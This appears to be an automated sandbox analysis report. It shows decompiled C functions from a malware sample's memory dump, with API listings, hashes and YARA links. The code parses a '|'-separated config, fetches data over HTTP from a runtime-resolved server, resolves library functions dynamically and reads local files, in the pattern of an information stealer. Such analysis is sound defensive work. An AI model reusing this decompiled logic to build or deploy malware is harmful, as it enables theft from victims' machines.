0x00412583
0x00412589
0x00412592
0x00412594
0x00000000
0x00000000
0x0041259f
0x004125a2
0x004125aa
0x004125aa
0x004125b6
0x004125b6
0x004125c0
0x004125c7
0x004125ce
0x004125d0
0x0041263c
0x0041263c
0x00412646
0x0041264c
0x0041264f
0x0041265a
0x0041265c
0x00412674
0x00412674
0x0041267b
0x0041267b
0x0041267f
0x00412695
0x00412699
0x004126b3
0x004126b7
0x004126d1
0x004126d5
0x00000000
0x004126e7
0x004126e2
0x004126f1
0x004126f1
0x004126f5
0x004126ff
0x00412709
0x0041270e
0x0041271a
0x00412726
0x00412732
0x00412738
0x00412740
0x00412752
0x0041275d
0x0041276c
0x00412772
0x00412772
0x00412781
0x0041278d
0x0041278d
0x00412790
0x00412796
0x0041279e
0x004127a4
0x004127ab
0x004127ab
0x004127c0
0x004127cc
0x004127d6
0x004127d8
0x00412827
0x00412827
0x0041282d
0x00412833
0x0041283d
0x00412847
0x00412851
0x0041285b
0x00412865
0x0041286f
0x00412879
0x00412885
0x00412891
0x0041289d
0x004128ad
0x004128b3
0x004128c2
0x004128cf
0x004128d2
0x004128d8
0x004128da
0x004128e1
0x004128e1
0x004128da
0x004128ef
0x004128fa
0x00412901
0x00412905
0x0041292a
0x0041292a
0x00000000
0x00412907
0x00412907
0x0041290d
0x00412911
0x00000000
0x00000000
0x00412922
0x00412934
0x0041293a
0x00412949
0x00412951
0x00412961
0x00412979
0x00412985
0x0041298b
0x00412998
0x0041299e
0x004129a8
0x004129af
0x004129b6
0x004129bd
0x004129c4
0x004129d4
0x004129ed
0x00412a06
0x00412a1f
0x00412a2e
0x00412a47
0x00412a60
0x00412a79
0x00412a88
0x00412aa1
0x00412aba
0x00412ad3
0x00412ad9
0x00412adf
0x00412ae7
0x00412aec
0x00412af2
0x00412afb
0x00412b12
0x00412b17
0x00412b1a
0x00412b20
0x00412b27
0x00412b5d
0x00412b60
0x00412b66
0x00412b6a
0x00412b8b
0x00412b98
0x00412ba5
0x00412bb4
0x00412bcb
0x00412bcb
0x00412bd2
0x00000000
0x00000000
0x00412bdd
0x00412bdf
0x00000000
0x00000000
0x00412bf5
0x00412bfa
0x00412bc2
0x00412bc2
0x00412bc5
0x00412bc5
0x00412c06
0x00412c08
0x00412c0a
0x00412c18
0x00412c18
0x00412c1b
0x00412c21
0x00412c21
0x00412c24
0x00412c3f
0x00412c3f
0x00412c46
0x00000000
0x00000000
0x00412c5c
0x00412c36
0x00412c36
0x00412c39
0x00412c39
0x00412c71
0x00412c74
0x00412c8f
0x00412c8f
0x00412c96
0x00000000
0x00000000
0x00412cae
0x00412cb3
0x00412cbc
0x00412c86
0x00412c86
0x00412c89
0x00412c89
0x00412cc8
0x00412ccb
0x00412cd1
0x00412cd3
0x00412ce2
0x00412ce7
0x00412cf3
0x00412cf3
0x00412cfc
0x00412cfc
0x00412cd3
0x00412cff
0x00412d0c
0x00412d0f
0x00412d25
0x00412d25
0x00000000
0x00412d11
0x00412d15
0x00412d17
0x00000000
0x00000000
0x00412d19
0x00412d2f
0x00412d3b
0x00412d42
0x00412d44
0x00412d63
0x00412d67
0x00412d69
0x00412d81
0x00412d85
0x00412d87
0x00412d8f
0x00412d8f
0x00412d99
0x00412d9f
0x00412da9
0x00412dc9
0x00412dcc
0x00412dd2
0x00412dd6
0x00412de6
0x00412dea
0x00412e0a
0x00412e13
0x00412e22
0x00412e3a
0x00412e49
0x00412e4f
0x00412e59
0x00412e5b
0x00412f39
0x00412f44
0x00412f46
0x00412f52
0x00412f56
0x00412f6d
0x00412f88
0x00412f8e
0x00412f95
0x00412faa
0x00412faa
0x00412fb3
0x00412fbd
0x00412fc4
0x00412fc4
0x00412fca
0x00412fce
0x00412fed
0x00412ff9
0x00413014
0x00413022
0x00413035
0x00413041
0x00413058
0x0041305a
0x00413060
0x00413064
0x00413080
0x00413086
0x00413086
0x0041308c
0x00413093
0x00000000
0x00000000
0x004130a1
0x004130a1
0x004130b5
0x004130bb
0x004130bb
0x00000000
0x004130bb
0x00413072
0x00000000
0x00413072
0x00000000
0x00412fd6
0x00000000
0x00412f97
0x00412f5f
0x00412f61
0x00000000
0x00000000
0x00000000
0x00412f63
0x00000000
0x00412f48
0x00412e67
0x00412e6a
0x00412e78
0x00412e7c
0x00412e8a
0x00412e8d
0x00412e96
0x00412e96
0x00412e99
0x00412e99
0x00412ea7
0x00412ec4
0x00412ecc
0x00412ece
0x00412ef5
0x00412efb
0x00412f02
0x00412f1e
0x00412f26
0x00412f28
0x00000000
0x00412f34
0x00000000
0x00412f2a
0x00000000
0x00412ed0
0x00000000
0x00412ed0
0x00412ece
0x00412e70
0x00412e72
0x00000000
0x00000000
0x00000000
0x00412e72
0x00000000
0x00412dec
0x00000000
0x00412dde
0x00412d6b
0x00412d6f
0x00000000
0x00000000
0x00412d7c
0x00000000
0x00412d7c
0x00412d46
0x00412d4a
0x00000000
0x00000000
0x00412d59
0x00412d5e
0x00000000
0x00412d5e
0x00412d0f
0x00412b72
0x00000000
0x00412b7d
0x00412b2f
0x00000000
0x00412b34
0x00412905
0x004127e0
0x004127e0
0x004127e3
0x004127e9
0x004127f2
0x004127f8
0x004127ff
0x004127ff
0x0041280e
0x00412815
0x0041281e
0x0041281e
0x00412821
0x00000000
0x00412821
0x00000000
0x004126f7
0x004126cc
0x00000000
0x004126cc
0x004126ae
0x00000000
0x004126ae
0x00412690
0x00000000
0x00412690
0x00412665
0x0041266a
0x00412670
0x00412672
0x00000000
0x00000000
0x00000000
0x00412672
0x004125d8
0x004125e4
0x004125e4
0x004125e7
0x004125ed
0x004125f5
0x004125fb
0x00412602
0x00412602
0x00412617
0x0041261d
0x0041262b
0x0041262e
0x00000000
0x00000000
0x00412630
0x00000000
0x00412630
0x00000000
0x00412573
0x00000000
0x004124d5
0x00000000

Strings

U, xrefs: 004129A8
}3A, xrefs: 004126F7
T, xrefs: 004129AF
in-gdi-devcaps-l1-1-0, xrefs: 004124D5

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: T$U$in-gdi-devcaps-l1-1-0$}3A
API String ID: 0-4164941578
Opcode ID: 5e01309a8168791c0243025764e2dd2830cab9a16f3f8c2054661e76be3c8c59
Instruction ID: 7205c875fbe07e454462ff4672f3587f8e3399538806df576de318d32dd6b353
Opcode Fuzzy Hash: 5e01309a8168791c0243025764e2dd2830cab9a16f3f8c2054661e76be3c8c59
Instruction Fuzzy Hash: C7723AB49052698FCB24CF14C990BEABBB1BF49305F1480DAD509A7382D7789EC5CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00405E70, Relevance: 18.2, APIs: 12, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00405E70(void* __ebx, void* __ecx, void* __edi, void* __eflags, CHAR* _a4, CHAR* _a8) {
				signed int _v8;
				CHAR* _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				CHAR* _v5552;
				char _v5820;
				CHAR* _v5824;
				char _v5828;
				CHAR* _v5832;
				signed int _v5836;
				CHAR* _t74;
				CHAR* _t79;
				void* _t99;
				void* _t100;

				_t98 = __edi;
				_t85 = __ebx;
				E00416530(0x16c8);
				_v5552 = 1;
				E0040B2C0( &_v5548, 0x1388);
				E0040B2C0( &_v540, 0x104);
				E0040B2C0( &_v5820, 0x104);
				E0040B2C0( &_v276, 0x104);
				E0040B2C0( &_v5832, 4);
				lstrcatA( &_v5548, _a4);
				_t96 =  &_v5548;
				_t74 = E00413451(__ebx,  &_v5548, __edi,  &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						_t96 = _v5836;
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040617C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B2C0( &_v540, 0x104);
									_t96 = _v5824;
									lstrcatA( &_v540, _v5824);
								} else {
									_push("1");
									_push(_v5824);
									if( *0x4201dc() == 0) {
										 *0x420324 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__edx = _v5824;
									_v544 = E0040B1F0(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x4201dc();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x420328 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B2C0( &_v5820, 0x104);
									__edx = _v5824;
									 &_v5820 = lstrcatA( &_v5820, __edx);
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x4201dc();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x42032c = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__edx =  &_v276;
									E0040B2C0(__edx, 0x104) = _v5824;
									__ecx =  &_v276;
									__eax = lstrcatA( &_v276, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x4201dc();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x420330 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								__edx = _v5824;
								_push(__edx);
								__eax =  *0x4201dc();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x4201dc();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								__edx = _v5832;
								__eax = _a8;
								__ecx = _v12;
								__edx =  &_v276;
								__eax =  &_v5820;
								__ecx = _v544;
								__edx =  &_v540;
								__eax = E00405C80(__ebx, _v544, __edi, __eflags,  &_v540, __ecx,  &_v5820,  &_v276, _v12, _a8, _v5832, _v5824); // executed
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 =  &(_v8[1]);
					_t79 = E00413451(_t85, _t96, _t98, 0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B2C0( &_v5548, 0x1388);
			}

0x00405e70
0x00405e70
0x00405e78
0x00405e7d
0x00405e93
0x00405ea4
0x00405eb5
0x00405ec6
0x00405ed4
0x00405ee4
0x00405ef6
0x00405efd
0x00405f02
0x00405f05
0x00405f0b
0x00405f12
0x00405f22
0x00405f31
0x00405f3e
0x00405f44
0x00405f4a
0x00000000
0x00405f58
0x00405f88
0x00405f8d
0x00405f9b
0x00405f5a
0x00405f5a
0x00405f65
0x00405f6e
0x00405f70
0x00405f70
0x00405f7a
0x00000000
0x00000000
0x00405fa6
0x00405fad
0x00405fd1
0x00405fe0
0x00405faf
0x00405faf
0x00405fb4
0x00405fba
0x00405fbb
0x00405fc1
0x00405fc3
0x00405fc5
0x00405fc5
0x00405fcf
0x00000000
0x00000000
0x00405feb
0x00405ff2
0x0040601b
0x00406022
0x00406027
0x00406035
0x00405ff4
0x00405ff4
0x00405ff9
0x00405fff
0x00406000
0x00406006
0x00406008
0x0040600a
0x0040600a
0x00406014
0x00000000
0x00000000
0x00406040
0x00406047
0x00406081
0x0040608d
0x00406094
0x0040609b
0x00406049
0x00406049
0x0040604e
0x00406054
0x00406055
0x0040605b
0x0040605d
0x0040605f
0x0040605f
0x00406069
0x00406073
0x00406073
0x00000000
0x00000000
0x004060a6
0x004060ab
0x004060b1
0x004060b2
0x004060b8
0x004060ba
0x004060c5
0x004060bc
0x004060bc
0x004060bc
0x00000000
0x00000000
0x004060ce
0x004060d3
0x004060d9
0x004060da
0x004060e0
0x004060e2
0x004060f0
0x004060e4
0x004060e4
0x004060e4
0x00000000
0x00000000
0x004060fc
0x00406103
0x0040610a
0x0040610e
0x00406112
0x00406119
0x00406120
0x00406127
0x0040612e
0x00406136
0x00000000
0x00000000
0x00405f4a
0x0040613d
0x00406143
0x00406154
0x00406159
0x0040615c
0x0040615c
0x0040617b

APIs

lstrcatA.KERNEL32(?,?,?,00000004,?,00000104,?,00000104,?,00000104,?,00001388), ref: 00405EE4
_strtok_s.LIBCMT ref: 00405EFD
StrCmpCA.SHLWAPI(00000000,0041D31C), ref: 00405F66
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00405F9B
StrCmpCA.SHLWAPI(00000000,0041D31C), ref: 00405FBB
StrCmpCA.SHLWAPI(00000000,0041D31C), ref: 00406000
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00406035
StrCmpCA.SHLWAPI(00000000,0041D31C), ref: 00406055
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0040609B
StrCmpCA.SHLWAPI(00000000,0041D320), ref: 004060B2
StrCmpCA.SHLWAPI(00000000,0041D320), ref: 004060DA

Part of subcall function 00405C80: wsprintfA.USER32 ref: 00405CBC
Part of subcall function 00405C80: _strtok_s.LIBCMT ref: 00405DB4

_strtok_s.LIBCMT ref: 00406154

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$_strtok_s$wsprintf
String ID:
API String ID: 1392866258-0
Opcode ID: 4487b0737c1241ae491986075a57ba939194b6e70befa608df62aa5192cbb239
Instruction ID: 4e0fc6c5fc3fc90bef96a252c01c0cbf0a3c34726c49fc8ac0d9a63f398b3d38
Opcode Fuzzy Hash: 4487b0737c1241ae491986075a57ba939194b6e70befa608df62aa5192cbb239
Instruction Fuzzy Hash: B3715FB5D44218DBCB20DF50CC89BEA73B8AF44704F4486EEE106B6191D77A9AC5CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00404EE0, Relevance: 15.1, APIs: 10, Instructions: 101
networkfilestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404EE0(void* __ecx, char* _a4, char* _a8, char* _a12) {
				char _v2004;
				void* _v2008;
				void _v2012;
				void* _v2016;
				void* _v2020;
				char _v4020;
				int _v4024;
				long _v4028;
				void* _t34;
				void* _t40;
				void* _t43;
				int _t46;
				int _t48;
				void* _t64;

				E0040B280(__ecx,  &_v2004, 0, 0x7d0);
				_t34 = InternetOpenA(0x4187ce, 0, 0, 0, 0); // executed
				_v2008 = _t34;
				if(_v2008 != 0) {
					_v2012 = 0x927c0;
					InternetSetOptionA(_v2008, 6,  &_v2012, 4);
					_t40 = InternetConnectA(_v2008, _a4, 0x50, 0, 0, 3, 0, 0); // executed
					_v2016 = _t40;
					if(_v2016 != 0) {
						_t43 = HttpOpenRequestA(_v2016, _a12, _a8, 0, 0, 0, 0x400000, 0); // executed
						_v2020 = _t43;
						if(_v2020 != 0) {
							_t46 = HttpSendRequestA(_v2020, 0, 0, 0, 0); // executed
							if(_t46 != 0) {
								while(1) {
									_t48 = InternetReadFile(_v2020,  &_v4020, 0x7cf,  &_v4028); // executed
									_v4024 = _t48;
									if(_v4024 == 0 || _v4028 == 0) {
										break;
									}
									 *((char*)(_t64 + _v4028 - 0xfb0)) = 0;
									lstrcatA( &_v2004,  &_v4020);
								}
							}
						}
						InternetCloseHandle(_v2020);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2008);
				return E004047B0( &_v2004);
			}

0x00404ef7
0x00404f09
0x00404f0f
0x00404f1c
0x00404f22
0x00404f3e
0x00404f5b
0x00404f61
0x00404f6e
0x00404f90
0x00404f96
0x00404fa3
0x00404fb4
0x00404fbc
0x00404fbe
0x00404fd8
0x00404fde
0x00404feb
0x00000000
0x00000000
0x00404ffe
0x00405014
0x00405014
0x00404ff6
0x00404fbc
0x00405023
0x00405023
0x00405030
0x00405030
0x0040503d
0x00405055

APIs

InternetOpenA.WININET(004187CE,00000000,00000000,00000000,00000000), ref: 00404F09
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 00404F3E
InternetConnectA.WININET(00000000,008AC460,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404F5B
HttpOpenRequestA.WININET(00000000,?,00406277,00000000,00000000,00000000,00400000,00000000), ref: 00404F90
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00404FB4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404FD8
lstrcatA.KERNEL32(?,00000000), ref: 00405014
InternetCloseHandle.WININET(00000000), ref: 00405023
InternetCloseHandle.WININET(00000000), ref: 00405030
InternetCloseHandle.WININET(00000000), ref: 0040503D

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileOptionReadSendlstrcat
String ID:
API String ID: 2712982081-0
Opcode ID: e6a7219ef275b293b7f023f1d13b7a251a648a2794a1ce5865ec6a7ca751982d
Instruction ID: c3f486913311937f6db70407a888217b1d97d18854d3cfc975099e85d8ca0a8e
Opcode Fuzzy Hash: e6a7219ef275b293b7f023f1d13b7a251a648a2794a1ce5865ec6a7ca751982d
Instruction Fuzzy Hash: AA41FF71A44319ABEB30DB50DC49FAEB3B4EB48700F5040EAB609765C0D7B87A85DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00437D60, Relevance: 14.7, APIs: 7, Strings: 1, Instructions: 741COMMON

Download Yara Rule

APIs

__putw.LIBCMTD ref: 00437DDC
_memset.LIBCMT ref: 00438000
_memset.LIBCMT ref: 00438153
_memset.LIBCMT ref: 00438428

Strings

\H, xrefs: 00438282

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: _memset$__putw
String ID: \H
API String ID: 562345036-2318946150
Opcode ID: 8c2e52c19d1cb995d63f9e04e2c30a09a2849654068c58170aaa53f79ee6178a
Instruction ID: 53722ae935909a6438947653acc9aefb5f0ea5f524d21b9088f6e5d9b64d4700
Opcode Fuzzy Hash: 8c2e52c19d1cb995d63f9e04e2c30a09a2849654068c58170aaa53f79ee6178a
Instruction Fuzzy Hash: 4B423371144344BFE360ABA0DE8AFAB776CEB48B46F10442DF346A91E0DBB45544CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406C20, Relevance: 13.6, APIs: 9, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406C20() {
				CHAR* _t1;
				struct HINSTANCE__* _t2;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41fe4c; // 0x8af6e0
				_t2 = LoadLibraryA(_t1); // executed
				 *0x41ffd4 = _t2;
				if( *0x41ffd4 == 0) {
					return 0;
				}
				_t18 =  *0x41fc7c; // 0x8b41c0
				_t24 =  *0x41ffd4; // 0x60900000
				 *0x41ffd8 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41f89c; // 0x8b3bb8
				_t19 =  *0x41ffd4; // 0x60900000
				 *0x41ff90 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41fbe8; // 0x8b4460
				_t7 =  *0x41ffd4; // 0x60900000
				 *0x41ffac = GetProcAddress(_t7, _t25);
				_t20 =  *0x41fbc8; // 0x8b3ab8
				_t26 =  *0x41ffd4; // 0x60900000
				 *0x41ffc8 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41fc00; // 0x8b3af8
				_t21 =  *0x41ffd4; // 0x60900000
				 *0x41ffb0 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41fe2c; // 0x8b4220
				_t12 =  *0x41ffd4; // 0x60900000
				 *0x41ffdc = GetProcAddress(_t12, _t27);
				_t22 =  *0x41fd1c; // 0x8b3bd8
				_t28 =  *0x41ffd4; // 0x60900000
				 *0x41ffb8 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41fea0; // 0x8b3c98
				_t23 =  *0x41ffd4; // 0x60900000
				 *0x41ffc0 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00406c23
0x00406c29
0x00406c2f
0x00406c3b
0x00000000
0x00406d0b
0x00406c41
0x00406c48
0x00406c55
0x00406c5a
0x00406c60
0x00406c6d
0x00406c72
0x00406c79
0x00406c85
0x00406c8a
0x00406c91
0x00406c9e
0x00406ca3
0x00406ca9
0x00406cb6
0x00406cbb
0x00406cc2
0x00406cce
0x00406cd3
0x00406cda
0x00406ce7
0x00406cec
0x00406cf2
0x00406cff
0x00000000

APIs

LoadLibraryA.KERNEL32(008AF6E0,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406C29
GetProcAddress.KERNEL32(60900000,008B41C0), ref: 00406C4F
GetProcAddress.KERNEL32(60900000,008B3BB8), ref: 00406C67
GetProcAddress.KERNEL32(60900000,008B4460), ref: 00406C7F
GetProcAddress.KERNEL32(60900000,008B3AB8), ref: 00406C98
GetProcAddress.KERNEL32(60900000,008B3AF8), ref: 00406CB0
GetProcAddress.KERNEL32(60900000,008B4220), ref: 00406CC8
GetProcAddress.KERNEL32(60900000,008B3BD8), ref: 00406CE1
GetProcAddress.KERNEL32(60900000,008B3C98), ref: 00406CF9

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 5f0ab545f3936c0f078390459cbf290e446620d77583ec4f1e1738b55927e5fd
Instruction ID: ea6d172df72b9e2e78b893927dfba8edc851f2ae958263fcf11ff2795c500916
Opcode Fuzzy Hash: 5f0ab545f3936c0f078390459cbf290e446620d77583ec4f1e1738b55927e5fd
Instruction Fuzzy Hash: 5E217FB56146109FC354DFA8FD89AA637EAB74E300740C53AE90AC3261D7B5A81BCB1C

Uniqueness

Uniqueness Score: -1.00%

Function 00406F40, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00406F40(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				char _v28;
				long _v32;
				void* _t30;
				void* _t36;
				int _t39;

				_v8 = 0;
				_v16 = 0;
				_t30 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0); // executed
				_v16 = _t30;
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_t7 =  &_v28; // 0x407270
					_push(_v16);
					if( *0x42000c() != 0 && _v24 == 0) {
						_t11 =  &_v28; // 0x407270
						 *_a12 =  *_t11;
						_t36 = LocalAlloc(0x40,  *_a12); // executed
						 *_a8 = _t36;
						if( *_a8 != 0) {
							_t39 = ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0); // executed
							if(_t39 == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					FindCloseChangeNotification(_v16); // executed
					goto L12;
				}
			}

0x00406f46
0x00406f4d
0x00406f67
0x00406f6d
0x00406f74
0x0040701b
0x00407021
0x00406f84
0x00406f84
0x00406f8b
0x00406f94
0x00406f9f
0x00406fa2
0x00406fac
0x00406fb5
0x00406fbd
0x00406fd5
0x00406fdd
0x00406ff2
0x00406fe9
0x00406fe9
0x00406fe9
0x00406ffc
0x00407003
0x0040700b
0x0040700b
0x00407003
0x00406fbd
0x00407015
0x00000000
0x00407015

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00407270,00000000,?), ref: 00406F67
GetFileSizeEx.KERNEL32(000000FF,pr@,?,00407270,00000000,?), ref: 00406F8C
LocalAlloc.KERNEL32(00000040,?,?,00407270), ref: 00406FAC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00407270), ref: 00406FD5
LocalFree.KERNEL32(?), ref: 0040700B
FindCloseChangeNotification.KERNEL32(000000FF,?,00407270,00000000,?), ref: 00407015

Strings

pr@, xrefs: 00406F84, 00406F9F, 00406F87

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID: pr@
API String ID: 1815715184-3227904934
Opcode ID: cb03e04c54a80e38c622624d49a01806ff55dd9e599d0fe50c1ff18f71201163
Instruction ID: eab32e415073dec394fd0ab2a990987f9d2c25de1af4149f163f4e39c6e12773
Opcode Fuzzy Hash: cb03e04c54a80e38c622624d49a01806ff55dd9e599d0fe50c1ff18f71201163
Instruction Fuzzy Hash: 4A31C974A00209EFDB24CF94D884BAEB7B5FB48310F108569E915AB390C778AA45DF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB80, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040AB80(void* __ecx) {
				void* _v8;
				long _v16;
				long _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				void* _t24;
				long _t28;

				_t24 = __ecx;
				_v8 = HeapAlloc(GetProcessHeap(), 0, 0x104);
				_t18 = E0040B280(_t24,  &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84); // executed
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t28 = _v84.ullAvailPhys;
					_v20 = E00416720(_v84.ullTotalPhys, _t28, 0x100000, 0);
					_v16 = _t28;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040ab80
0x0040ab9a
0x0040aba5
0x0040abaa
0x0040abb5
0x0040abbe
0x0040abdc
0x0040abe3
0x0040abc0
0x0040abc7
0x0040abd4
0x0040abd7
0x0040abd7
0x0040abed
0x0040abfb
0x0040ac0a

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AB8D
HeapAlloc.KERNEL32(00000000), ref: 0040AB94
GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040ABB5
__aulldiv.LIBCMT ref: 0040ABCF
wsprintfA.USER32 ref: 0040ABFB

Strings

%d MB, xrefs: 0040ABF2
@, xrefs: 0040ABAA

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatus__aulldivwsprintf
String ID: %d MB$@
API String ID: 2928607178-3474575989
Opcode ID: dd5f927c249fbe3d2b38a77ee298093766650e7f7380a71e65efca9dd0fb7724
Instruction ID: eab95adbd45994052ad12e029988f48a086f2e7ba9e133ae89b32654ed09edfc
Opcode Fuzzy Hash: dd5f927c249fbe3d2b38a77ee298093766650e7f7380a71e65efca9dd0fb7724
Instruction Fuzzy Hash: 280140B0E00208ABDB10DFD4CC49FAEB7B9FB04704F504559F614BB2C1D7B899018B99

Uniqueness

Uniqueness Score: -1.00%

Function 004061A0, Relevance: 12.2, APIs: 8, Instructions: 169
stringCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E004061A0(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				char _t37;
				CHAR* _t46;
				intOrPtr _t51;
				CHAR* _t52;
				intOrPtr _t61;
				intOrPtr _t70;
				CHAR* _t71;
				void* _t74;
				CHAR* _t89;
				CHAR* _t91;
				intOrPtr _t92;
				intOrPtr _t94;
				intOrPtr _t95;
				CHAR* _t99;
				CHAR* _t105;
				CHAR* _t107;
				intOrPtr _t110;
				void* _t119;
				void* _t127;
				void* _t131;

				_t131 = __eflags;
				E00416530(0x292c);
				_t37 = E00413300(0, 0x6400000, 0); // executed
				_v10544 = _t37;
				E0040B2C0( &_v5268, 0x104);
				E0040B2C0( &_v10268, 0x1388);
				E0040B2C0( &_v10540, 0x104);
				lstrcatA( &_v5268, E0040B450( &_v10268, _t131, 8));
				_t89 =  *0x41fa0c; // 0x8aead8
				lstrcatA( &_v5268, _t89);
				_t46 =  *0x41fb14; // 0x8ae9d8
				lstrcatA( &_v10540, _t46);
				_t105 =  *0x41ff6c; // 0x8ac460
				lstrcatA( &_v10540, _t105);
				_t91 =  *0x41ff14; // 0x8b27a8
				lstrcatA( &_v10540, _t91);
				_t51 =  *0x41febc; // 0x8b2d68
				_t92 =  *0x41fa34; // 0x8b26d0
				_t107 =  *0x41ff6c; // 0x8ac460
				_t52 = E00404EE0(_t92, _t107, _t92, _t51); // executed
				lstrcatA( &_v10268, _t52);
				E00405E70(__ebx, _v10544, __edi, _t131,  &_v10268, _v10544); // executed
				E0040B2C0( &_v10268, 0x1388);
				_t94 =  *0x41fe4c; // 0x8af6e0
				E004048E0( &_v10540, _t94); // executed
				E0040B2C0( &_v10540, 0x104);
				_t95 =  *0x420328; // 0x1
				_t110 =  *0x42032c; // 0x1
				_t61 =  *0x420324; // 0x1
				E0040A260(_t131, _v10544, _t61, _t110, _t95); // executed
				E00401430(_v10544); // executed
				E00405320(_v10544, _t131, _v10544); // executed
				_t127 = _t119 + 0x44;
